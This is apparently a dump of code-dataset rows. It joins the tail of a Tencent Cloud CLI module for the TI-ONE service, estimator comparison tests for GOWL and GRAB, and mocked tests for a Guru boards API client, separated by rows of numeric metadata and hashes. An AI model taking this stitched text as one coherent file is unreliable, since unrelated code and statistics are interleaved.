json.loads(result.decode('utf-8')) # python3.3 FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doCreateTrainingJob(args, parsed_globals): g_param = parse_global_arg(parsed_globals) cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.CreateTrainingJobRequest() model.from_json_string(json.dumps(args)) rsp = client.CreateTrainingJob(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doDescribeCodeRepositories(args, parsed_globals): g_param = parse_global_arg(parsed_globals) cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.DescribeCodeRepositoriesRequest() model.from_json_string(json.dumps(args)) rsp = client.DescribeCodeRepositories(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doStopTrainingJob(args, parsed_globals): g_param = parse_global_arg(parsed_globals) cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.TioneClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.StopTrainingJobRequest() model.from_json_string(json.dumps(args)) rsp = client.StopTrainingJob(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) CLIENT_MAP = { "v20191022": tione_client_v20191022, } MODELS_MAP = { "v20191022": models_v20191022, } ACTION_MAP = { "UpdateNotebookInstance": doUpdateNotebookInstance, "DescribeNotebookLifecycleScripts": doDescribeNotebookLifecycleScripts, "StartNotebookInstance": doStartNotebookInstance, "DeleteNotebookInstance": doDeleteNotebookInstance, "DescribeNotebookLifecycleScript": doDescribeNotebookLifecycleScript, "CreatePresignedNotebookInstanceUrl": doCreatePresignedNotebookInstanceUrl, "CreateCodeRepository": doCreateCodeRepository, "UpdateNotebookLifecycleScript": doUpdateNotebookLifecycleScript, "DescribeTrainingJob": doDescribeTrainingJob, "StopNotebookInstance": doStopNotebookInstance, "CreateNotebookInstance": doCreateNotebookInstance, "DescribeCodeRepository": doDescribeCodeRepository, "CreateNotebookLifecycleScript": doCreateNotebookLifecycleScript, "DeleteCodeRepository": doDeleteCodeRepository, "DescribeNotebookSummary": doDescribeNotebookSummary, "DescribeTrainingJobs": doDescribeTrainingJobs, "DeleteNotebookLifecycleScript": doDeleteNotebookLifecycleScript, "DescribeNotebookInstance": doDescribeNotebookInstance, "UpdateCodeRepository": doUpdateCodeRepository, "DescribeNotebookInstances": doDescribeNotebookInstances, "CreateTrainingJob": doCreateTrainingJob, "DescribeCodeRepositories": doDescribeCodeRepositories, "StopTrainingJob": doStopTrainingJob, } AVAILABLE_VERSION_LIST = [ "v20191022", ] def action_caller(): return ACTION_MAP def parse_global_arg(parsed_globals): g_param = parsed_globals is_exist_profile = True if not parsed_globals["profile"]: is_exist_profile = False g_param["profile"] = "default" configure_path = os.path.join(os.path.expanduser("~"), ".tccli") is_conf_exist, conf_path = Utils.file_existed(configure_path, g_param["profile"] + ".configure") is_cred_exist, cred_path = Utils.file_existed(configure_path, g_param["profile"] + ".credential") conf = {} cred = {} if is_conf_exist: conf = Utils.load_json_msg(conf_path) if is_cred_exist: cred = Utils.load_json_msg(cred_path) if not (isinstance(conf, dict) and isinstance(cred, dict)): raise ConfigurationError( "file: %s or %s is not json format" % (g_param["profile"] + ".configure", g_param["profile"] + ".credential")) if OptionsDefine.Token not in cred: cred[OptionsDefine.Token] = None if not is_exist_profile: if os.environ.get(OptionsDefine.ENV_SECRET_ID) and os.environ.get(OptionsDefine.ENV_SECRET_KEY): cred[OptionsDefine.SecretId] = os.environ.get(OptionsDefine.ENV_SECRET_ID) cred[OptionsDefine.SecretKey] = os.environ.get(OptionsDefine.ENV_SECRET_KEY) cred[OptionsDefine.Token] = os.environ.get(OptionsDefine.ENV_TOKEN) if os.environ.get(OptionsDefine.ENV_REGION): conf[OptionsDefine.Region] = os.environ.get(OptionsDefine.ENV_REGION) for param in g_param.keys(): if g_param[param] is None: if param in [OptionsDefine.SecretKey, OptionsDefine.SecretId, OptionsDefine.Token]: if param in cred: g_param[param] = cred[param] else: raise ConfigurationError("%s is invalid" % param) elif param in [OptionsDefine.Region, OptionsDefine.Output]: if param in conf: g_param[param] = conf[param] else: raise ConfigurationError("%s is invalid" % param) try: if g_param[OptionsDefine.ServiceVersion]: g_param[OptionsDefine.Version] = "v" + g_param[OptionsDefine.ServiceVersion].replace('-', '') else: version = conf["tione"][OptionsDefine.Version] g_param[OptionsDefine.Version] = "v" + version.replace('-', '') if g_param[OptionsDefine.Endpoint] is None: g_param[OptionsDefine.Endpoint] = conf["tione"][OptionsDefine.Endpoint] except Exception as err: raise ConfigurationError("config file:%s error, %s" % (conf_path, str(err))) if g_param[OptionsDefine.Version] not in AVAILABLE_VERSION_LIST: raise Exception("available versions: %s" % " ".join(AVAILABLE_VERSION_LIST)) return g_param
43.726098
105
0.729849
3,764
33,844
6.325186
0.051541
0.079889
0.225848
0.053511
0.802587
0.794985
0.791961
0.788936
0.784988
0.736979
0
0.009093
0.164874
33,844
773
106
43.782665
0.833251
0.007416
0
0.689349
0
0
0.043942
0.011589
0
0
0
0
0
1
0.036982
false
0
0.017751
0.001479
0.057692
0
0
0
0
null
0
1
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
372e734f2bc96b2c515ece1d9e247142d822e603
69
py
Python
model_code/__init__.py
jmalles/water_terminating_module
8c0a6e3a756697296c2426458e3c846336a14ea8
[ "BSD-3-Clause" ]
null
null
null
model_code/__init__.py
jmalles/water_terminating_module
8c0a6e3a756697296c2426458e3c846336a14ea8
[ "BSD-3-Clause" ]
null
null
null
model_code/__init__.py
jmalles/water_terminating_module
8c0a6e3a756697296c2426458e3c846336a14ea8
[ "BSD-3-Clause" ]
null
null
null
from model_code.FluxModel import* from model_code.aux_funcs import *
34.5
34
0.84058
11
69
5
0.636364
0.327273
0.472727
0
0
0
0
0
0
0
0
0
0.101449
69
2
35
34.5
0.887097
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
25a7f92e6515e7427684f5919e524a26cb52bd4e
11,408
py
Python
tests/test_gowl_vs_grab.py
cmazzaanthony/ccgowl
31e12579449c296d7581c2838b5d7d7873361b48
[ "MIT" ]
8
2019-06-20T17:26:15.000Z
2020-08-26T04:19:22.000Z
tests/test_gowl_vs_grab.py
cmazzaanthony/ccgowl
31e12579449c296d7581c2838b5d7d7873361b48
[ "MIT" ]
3
2021-03-25T22:42:42.000Z
2021-06-01T23:52:14.000Z
tests/test_gowl_vs_grab.py
cmazzaanthony/ccgowl
31e12579449c296d7581c2838b5d7d7873361b48
[ "MIT" ]
null
null
null
import unittest import numpy as np from sklearn.metrics import f1_score import ccgowl.models.grab.GRAB as grab from ccgowl.data.make_synthetic_data import generate_theta_star_gowl, standardize, Block, generate_synthetic_data from ccgowl.evaluation.cluster_metrics import spectral_clustering from ccgowl.evaluation.fit_metrics import error_norm from ccgowl.models.gowl import GOWLModel from ccgowl.visualization.visualize import plot_multiple_theta_matrices_2d def _fit_evaluations(true_theta, theta_hat, clusters, estimator_name): print(f"""# clusters: {clusters}, MSE: {error_norm(theta_star=true_theta, theta_hat=theta_hat)} for {estimator_name}""") print(f"""# clusters: {clusters}, Absolute Error: {error_norm(theta_star=true_theta, theta_hat=theta_hat, squared=False)} for {estimator_name}""") def _cluster_evaluations(y_true, y_hat, estimator_name): print(f"{estimator_name} F1 Score: {f1_score(y_true, y_hat, average='macro')}") class TestGRABEstimator(unittest.TestCase): def test_gowl_vs_grab_1(self): np.random.seed(680) p = 10 n_blocks = 1 theta_star, blocks, theta_blocks = generate_theta_star_gowl(p=p, alpha=0.5, noise=0.1, n_blocks=n_blocks, block_min_size=2, block_max_size=6) theta_star = theta_star[0] sigma = np.linalg.inv(theta_star) n = 100 X = np.random.multivariate_normal(np.zeros(p), sigma, n) X = standardize(X) S = np.cov(X.T) lam1 = 0.001 # controls sparsity lam2 = 0.01 # encourages equality of coefficients lmbda = .2 K = 10 o_size = .3 # The size of overlap, as an input parameter max_iter = 20 tol = 1e-4 dual_max_iter = 600 dual_tol = 1e-4 theta_grab, blocks = grab.BCD(S, lmbda=lmbda, K=K, o_size=o_size, max_iter=max_iter, tol=tol, dual_max_iter=dual_max_iter, dual_tol=dual_tol) theta_grab = np.asarray(theta_grab) model = GOWLModel(X, S, lam1, lam2, 'backtracking', max_iters=100000) model.fit() theta_gowl = model.theta_hat print('Non zero entries in precision matrix {}'.format(np.count_nonzero(theta_gowl))) plot_multiple_theta_matrices_2d([theta_blocks, theta_star, theta_grab, theta_gowl], [f"1 Block of Size 2", 'True Theta', 'GRAB', 'GOWL']) _fit_evaluations(theta_star, theta_grab, 1, 'GRAB') _fit_evaluations(theta_star, theta_gowl, 1, 'GOWL') y_hat_gowl = spectral_clustering(theta=theta_gowl, K=2) y_hat_grab = spectral_clustering(theta=theta_grab, K=2) y_true = spectral_clustering(theta=theta_blocks, K=2).flatten() _cluster_evaluations(y_true, y_hat_gowl, 'GOWL') _cluster_evaluations(y_true, y_hat_grab, 'GRAB') def test_gowl_vs_grab_2(self): np.random.seed(680) p = 10 blocks = [ Block(dim=p, idx=0, block_min_size=2, block_max_size=6, block_value=0.9), Block(dim=p, idx=1, block_min_size=2, block_max_size=6, block_value=-0.9), ] theta_star, blocks, theta_blocks = generate_theta_star_gowl(p=p, alpha=0.5, noise=0.1, blocks=blocks) theta_star = theta_star[0] sigma = np.linalg.inv(theta_star) n = 100 X = np.random.multivariate_normal(np.zeros(p), sigma, n) X = standardize(X) S = np.cov(X.T) lam1 = 0.01 # controls sparsity lam2 = 0.01 # encourages equality of coefficients lmbda = .2 K = 10 o_size = .3 # The size of overlap, as an input parameter max_iter = 20 tol = 1e-4 dual_max_iter = 600 dual_tol = 1e-4 theta_grab, blocks = grab.BCD(S, lmbda=lmbda, K=K, o_size=o_size, max_iter=max_iter, tol=tol, dual_max_iter=dual_max_iter, dual_tol=dual_tol) theta_grab = np.asarray(theta_grab) model = GOWLModel(X, S, lam1, lam2, 'backtracking', max_iters=100000) model.fit() theta_gowl = model.theta_hat print('Non zero entries in precision matrix {}'.format(np.count_nonzero(theta_gowl))) plot_multiple_theta_matrices_2d([S, theta_blocks, theta_star, theta_grab, theta_gowl], ['Sample Covariance', f"Blocks: {len(blocks)}", 'True Theta', 'GRAB', 'GOWL']) _fit_evaluations(theta_star, theta_grab, 1, 'GRAB') _fit_evaluations(theta_star, theta_gowl, 1, 'GOWL') y_hat_gowl = spectral_clustering(theta=theta_gowl, K=3) y_hat_grab = spectral_clustering(theta=theta_grab, K=3) y_true = spectral_clustering(theta=theta_blocks, K=3).flatten() _cluster_evaluations(y_true, y_hat_gowl, 'GOWL') _cluster_evaluations(y_true, y_hat_grab, 'GRAB') def test_gowl_vs_grab_3(self): np.random.seed(680) p = 10 blocks = [ Block(dim=p, idx=0, block_min_size=2, block_max_size=6, block_value=0.9), Block(dim=p, idx=1, block_min_size=2, block_max_size=6, block_value=-0.9), Block(dim=p, idx=3, block_min_size=2, block_max_size=6, block_value=-0.5), ] theta_star, blocks, theta_blocks = generate_theta_star_gowl(p=p, alpha=0.5, noise=0.1, blocks=blocks) lam1 = 0.001 # controls sparsity lam2 = 0.01 # encourages equality of coefficients theta_star = theta_star[0] sigma = np.linalg.inv(theta_star) n = 100 X = np.random.multivariate_normal(np.zeros(p), sigma, n) X = standardize(X) S = np.cov(X.T) model = GOWLModel(X, S, lam1, lam2, 'backtracking', max_iters=100000) model.fit() theta_gowl = model.theta_hat lmbda = .2 K = 10 o_size = .3 # The size of overlap, as an input parameter max_iter = 20 tol = 1e-4 dual_max_iter = 600 dual_tol = 1e-4 theta_grab, blocks = grab.BCD(S, lmbda=lmbda, K=K, o_size=o_size, max_iter=max_iter, tol=tol, dual_max_iter=dual_max_iter, dual_tol=dual_tol) theta_grab = np.asarray(theta_grab) print('Non zero entries in precision matrix {}'.format(np.count_nonzero(theta_gowl))) plot_multiple_theta_matrices_2d([S, theta_blocks, theta_star, theta_grab, theta_gowl], ['Sample Covariance', f"Blocks: {len(blocks)}", 'True Theta', 'GRAB', 'GOWL']) _fit_evaluations(theta_star, theta_grab, 4, 'GRAB') _fit_evaluations(theta_star, theta_gowl, 4, 'GOWL') y_hat_gowl = spectral_clustering(theta=theta_gowl, K=4) y_hat_grab = spectral_clustering(theta=theta_grab, K=4) y_true = spectral_clustering(theta=theta_blocks, K=4).flatten() _cluster_evaluations(y_true, y_hat_gowl, 'GOWL') _cluster_evaluations(y_true, y_hat_grab, 'GRAB') def test_gowl_vs_grab_n(self): np.random.seed(680) p = 50 block_percentage = 0.1 alpha = 0.5 noise = 0.1 K = int(p * block_percentage) block_min_size = p * 0.1 block_max_size = p * 0.4 ccl_1 = 0.01 ccl_2 = 0.0001 thetas_with_noise, theta_blocks, scov_matrices, X_matrices = generate_synthetic_data(K, p, block_min_size, block_max_size, alpha, noise, 1) S = scov_matrices[0] model = GOWLModel(X_matrices, S, ccl_1, ccl_2, 'backtracking') model.fit() theta_gowl = model.theta_hat lmbda = .2 K = 10 o_size = .3 # The size of overlap, as an input parameter max_iter = 20 tol = 1e-4 dual_max_iter = 600 dual_tol = 1e-4 theta_grab, blocks = grab.BCD(S, lmbda=lmbda, K=K, o_size=o_size, max_iter=max_iter, tol=tol, dual_max_iter=dual_max_iter, dual_tol=dual_tol) theta_grab = np.asarray(theta_grab) plot_multiple_theta_matrices_2d([S, theta_blocks, thetas_with_noise[0], theta_grab, theta_gowl], ['Sample Covariance', f"Blocks: {len(blocks)}", 'True Theta', 'GRAB', 'GOWL']) _fit_evaluations(theta_blocks, theta_grab, 1, 'GRAB') _fit_evaluations(theta_blocks, theta_gowl, 1, 'GOWL') y_hat_gowl = spectral_clustering(theta=theta_gowl, K=2) y_hat_grab = spectral_clustering(theta=theta_grab, K=2) y_true = spectral_clustering(theta=theta_blocks, K=2).flatten() _cluster_evaluations(y_true, y_hat_gowl, 'GOWL') _cluster_evaluations(y_true, y_hat_grab, 'GRAB')
42.408922
118
0.48203
1,255
11,408
4.080478
0.114741
0.049209
0.032806
0.065612
0.82894
0.818004
0.792423
0.774653
0.738918
0.722906
0
0.036109
0.436799
11,408
268
119
42.567164
0.760934
0.02919
0
0.733624
1
0
0.083695
0.008044
0
0
0
0
0
1
0.026201
false
0
0.039301
0
0.069869
0.026201
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
25aaee5d891a3ecb5fc6e7628bcd6fcb9e885808
259
py
Python
discretisedfield/plotting/__init__.py
ubermag/discretisedfield
fec016c85fcc091006e678845bca999b993b987c
[ "BSD-3-Clause" ]
9
2019-08-30T14:00:43.000Z
2022-01-16T15:01:44.000Z
discretisedfield/plotting/__init__.py
ubermag/discretisedfield
fec016c85fcc091006e678845bca999b993b987c
[ "BSD-3-Clause" ]
50
2019-06-13T13:41:57.000Z
2022-03-28T09:14:33.000Z
discretisedfield/plotting/__init__.py
ubermag/discretisedfield
fec016c85fcc091006e678845bca999b993b987c
[ "BSD-3-Clause" ]
7
2019-08-28T14:16:10.000Z
2021-12-13T21:06:06.000Z
"""Matplotlib based plotting.""" from discretisedfield.plotting.mpl import Mpl, add_colorwheel from discretisedfield.plotting.mpl_region import MplRegion from discretisedfield.plotting.k3d import K3d from discretisedfield.plotting.k3d_region import K3dRegion
43.166667
61
0.861004
31
259
7.096774
0.419355
0.363636
0.509091
0.281818
0
0
0
0
0
0
0
0.016736
0.07722
259
5
62
51.8
0.903766
0.100386
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
25d5353bdabae5608bf9385eba3678470fe776a6
44,855
py
Python
tests/test_core_boards.py
tmooney101/gurutest1
2bd84ce9931e0fefbeacfd19dfc6abcf52a15b30
[ "MIT" ]
1
2021-08-10T20:21:54.000Z
2021-08-10T20:21:54.000Z
tests/test_core_boards.py
tmooney101/gurutest1
2bd84ce9931e0fefbeacfd19dfc6abcf52a15b30
[ "MIT" ]
26
2021-03-15T20:20:01.000Z
2022-03-03T23:31:35.000Z
tests/test_core_boards.py
tmooney101/gurutest1
2bd84ce9931e0fefbeacfd19dfc6abcf52a15b30
[ "MIT" ]
1
2021-12-15T22:04:18.000Z
2021-12-15T22:04:18.000Z
import json import yaml import time import unittest import responses from unittest.mock import Mock, patch from tests.util import use_guru, get_calls import guru class TestCore(unittest.TestCase): @use_guru() @responses.activate def test_get_board(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/boards", json=[{ "id": "1234", "title": "test" }]) responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/1234", json={ "items": [{ "type": "section", "title": "test", "items": [{ "type": "fact", "preferredPhrase": "card 1" }] }, { "type": "fact", "preferredPhrase": "card 2" }] }) board = g.get_board("test") self.assertEqual(len(board.items), 2) self.assertEqual(len(board.cards), 2) self.assertEqual(len(board.sections), 1) self.assertEqual(len(board.all_items), 3) self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/boards" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/boards/1234" }]) @use_guru() @responses.activate def test_get_board_with_110_cards(self, g): # we build the list of items that comes back in the initial get call to load the board. # we also build the responses that come back for loading the first page of 50 and the page of 10 cards. board_items = [] first_batch = {} second_batch = {} for i in range(110): if i < 50: board_items.append({ "type": "fact", "preferredPhrase": "card %s" % i, "id": str(i) }) else: board_items.append({ "type": "fact", "id": str(i) }) if i < 100: first_batch[str(i)] = { "preferredPhrase": "card %s" % i } else: second_batch[str(i)] = { "preferredPhrase": "card %s" % i } responses.add(responses.GET, "https://api.getguru.com/api/v1/boards", json=[{ "id": "1234", "title": "test" }]) responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/1234", json={ "items": board_items }) responses.add(responses.POST, "https://api.getguru.com/api/v1/cards/bulk", json=first_batch) responses.add(responses.POST, "https://api.getguru.com/api/v1/cards/bulk", json=second_batch) board = g.get_board("test") self.assertEqual(len(board.items), 110) self.assertEqual(len(board.cards), 110) self.assertEqual(board.cards[75].title, "card 75") self.assertEqual(board.cards[105].title, "card 105") self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/boards" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/boards/1234" }, { "method": "POST", "url": "https://api.getguru.com/api/v1/cards/bulk", "body": { "ids": [str(i) for i in range(50, 100)] } }, { "method": "POST", "url": "https://api.getguru.com/api/v1/cards/bulk", "body": { "ids": [str(i) for i in range(100, 110)] } }]) @use_guru() @responses.activate def test_make_board(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/collections", json=[{ "id": "1234", "name": "General" }]) responses.add(responses.PUT, "https://api.getguru.com/api/v1/boards/home/entries?collection=1234", json=[]) result = g.make_board("New Board", collection="General", description="test") self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/collections" }, { "method": "PUT", "url": "https://api.getguru.com/api/v1/boards/home/entries?collection=1234", "body": { "actionType": "add", "boardEntries": [{ "entryType": "board", "title": "New Board", "description": "test" }] } }]) @use_guru() @responses.activate def test_delete_board(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/boards", json=[{ "id": "abcd", "title": "General", "collection": { "id": "ababab" } }, { "id": "4321", "title": "Test", "collection": { "id": "cdcdcd" } }]) # responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/General", json={}) responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/abcd", json={ "id": "abcd", "title": "General", "collection": { "id": "ababab" } }) responses.add(responses.DELETE, "https://api.getguru.com/api/v1/boards/abcd") board = g.get_board("General") board.delete() self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/boards" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/boards/abcd" }, { "method": "DELETE", "url": "https://api.getguru.com/api/v1/boards/abcd" }]) @use_guru() @responses.activate def test_delete_board_with_invalid_board(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/boards", json=[]) responses.add(responses.DELETE, "https://api.getguru.com/api/v1/boards/abcd") g.delete_board("123456") self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/boards" }]) @use_guru() @responses.activate def test_get_board_group(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/collections", json=[{ "id": "1234", "name": "General" }]) responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/home?collection=1234", json={ "collection": { "id": "1234" }, "items": [{ "type": "section", "title": "A", "items": [], }, { "type": "section", "title": "My Board Group", "items": [{ "type": "board" }] }, { "type": "board" }] }) g.get_board_group("my board group", "General") self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/collections" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/boards/home?collection=1234" }]) @use_guru() @responses.activate def test_get_home_board(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/collections", json=[{ "id": "1234", "name": "General" }]) responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/home?collection=1234", json={ "collection": { "id": "1234" }, "items": [{ "type": "section", "items": [{ "type": "board" }] }, { "type": "board" }] }) g.get_home_board("General") self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/collections" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/boards/home?collection=1234" }]) @use_guru() @responses.activate def test_get_home_board_by_invalid_collection(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/collections", json=[]) responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/home?collection=1234", json={}) g.get_home_board("General") self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/collections" }]) @use_guru() @responses.activate def test_set_home_board_item_order(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/collections", json=[{ "id": "1234", "name": "General" }]) responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/home?collection=1234", json={ "id": "home", "collection": { "id": "1234" }, "items": [{ "id": "1", "itemId": "i1", "type": "board", "title": "Board A" }, { "id": "2", "itemId": "i2", "type": "section", "title": "Board Group", "items": [{ "type": "board" }] }, { "id": "3", "itemId": "i3", "type": "board", "title": "Board B" }] }) responses.add(responses.PUT, "https://api.getguru.com/api/v1/boards/home", json={}) home_board = g.get_home_board("General") home_board.set_item_order("Board B", "Board A", "Board Group") self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/collections" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/boards/home?collection=1234" }, { "method": "PUT", "url": "https://api.getguru.com/api/v1/boards/home", "body": { "id": "home", "collection": {"id": "1234", "name": None, "type": None, "color": None}, "items": [ {"id": "3", "type": "board", "title": "Board B"}, # "itemId": "i3", {"id": "1", "type": "board", "title": "Board A"}, # "itemId": "i1", {"id": "2", "type": "section", "itemId": "i2", "title": "Board Group", "items": [ {"id": None, "type": "board", "title": None} ]} ] } }]) @use_guru() @responses.activate def test_set_board_item_order(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/boards", json=[{ "id": "1234", "title": "test" }]) responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/1234", json={ "id": "1234", "collection": { "id": "abcd", "name": "General" }, "items": [{ "id": "1", "itemId": "i1", "type": "section", "title": "test", "items": [{ "id": "2", "itemId": "i2", "preferredPhrase": "card 1", "type": "fact" }, { "id": "3", "itemId": "i3", "preferredPhrase": "card 2", "type": "fact" }] }, { "id": "4", "itemId": "i4", "preferredPhrase": "card 3", "type": "fact" }] }) responses.add(responses.PUT, "https://api.getguru.com/api/v1/boards/1234", json={}) board = g.get_board("test") board.set_item_order("card 3", "test") self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/boards" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/boards/1234" }, { "method": "PUT", "url": "https://api.getguru.com/api/v1/boards/1234", "body": { "id": "1234", "type": "board", "title": None, "collection": {"id": "abcd", "name": "General", "type": None, "color": None}, "items": [ {"type": "fact", "id": "4", "itemId": "i4"}, {"type": "section", "id": "1", "itemId": "i1", "items": [ {"type": "fact", "id": "2", "itemId": "i2"}, {"type": "fact", "id": "3", "itemId": "i3"} ]} ] } }]) @use_guru() @responses.activate def test_set_board_group_item_order(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/collections", json=[{ "id": "1234", "name": "General" }]) responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/home?collection=1234", json={ "id": "home", "collection": { "id": "1234" }, "items": [{ "type": "section", "title": "A", "items": [], }, { "type": "section", "title": "My Board Group", "items": [{ "type": "board", "id": "1", "itemId": "i1", "title": "Board A" }, { "type": "board", "id": "2", "itemId": "i2", "title": "Board B" }, { "type": "board", "id": "3", "itemId": "i3", "title": "Board C" }] }, { "type": "board" }] }) responses.add(responses.PUT, "https://api.getguru.com/api/v1/boards/home", json={}) board_group = g.get_board_group("my board group", "General") board_group.set_item_order("board c", "board b", "board a") self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/collections" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/boards/home?collection=1234" }, { "method": "PUT", "url": "https://api.getguru.com/api/v1/boards/home", "body": { "id": "home", "collection": {"id": "1234", "name": None, "type": None, "color": None}, "items": [ {"id": None, "type": "section", "itemId": None, "title": "A", "items": []}, { # this is the board group we edited: "id": None, "type": "section", "itemId": None, "title": "My Board Group", "items": [ {"id": "3", "type": "board", "title": "Board C"}, # "itemId": "i3" {"id": "2", "type": "board", "title": "Board B"}, # "itemId": "i2" {"id": "1", "type": "board", "title": "Board A"} # "itemId": "i1" ] }, {"id": None, "type": "board", "title": None} # "itemId": None, ] } }]) @use_guru() @responses.activate def test_set_item_order_with_invalid_collection(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/collections", json=[{ "id": "1234", "name": "General" }]) g.set_item_order("invalid", "My Board", "a", "b", "c") self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/collections" }]) @use_guru() @responses.activate def test_set_item_order_with_invalid_board(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/collections", json=[{ "id": "1234", "name": "General" }]) responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/isinvalid", status=404) responses.add(responses.GET, "https://api.getguru.com/api/v1/boards?collection=1234", json=[{ "id": "abcd", "title": "Board A", }, { "id": "efgh", "title": "Board B" }]) g.set_item_order("General", "isinvalid", "a", "b", "c") self.assertEqual(get_calls(), [{ "method": "GET", "url": "https://api.getguru.com/api/v1/boards/isinvalid" }, { "method": "GET", "url": "https://api.getguru.com/api/v1/collections", }, { "method": "GET", "url": "https://api.getguru.com/api/v1/boards?collection=1234" }]) @use_guru() @responses.activate def test_make_board_group(self, g): responses.add(responses.GET, "https://api.getguru.com/api/v1/collections", json=[{ "id": "1234", "name": "General" }]) responses.add(responses.GET, "https://api.getguru.com/api/v1/boards/home?collection=1234", json={ "collection": { "id": "1234" }, "items": [{ "type": "section", "title": "A", "items": [], }, { "type": "section", "title": "My Board Group", "items": [{ "type": "board" }] }, { "type": "board" }] }) responses.add(responses.PUT, "https://api.getguru.com/api/v1/boards/home/entries?collection=1234", json={}) g.make_board_group("General", 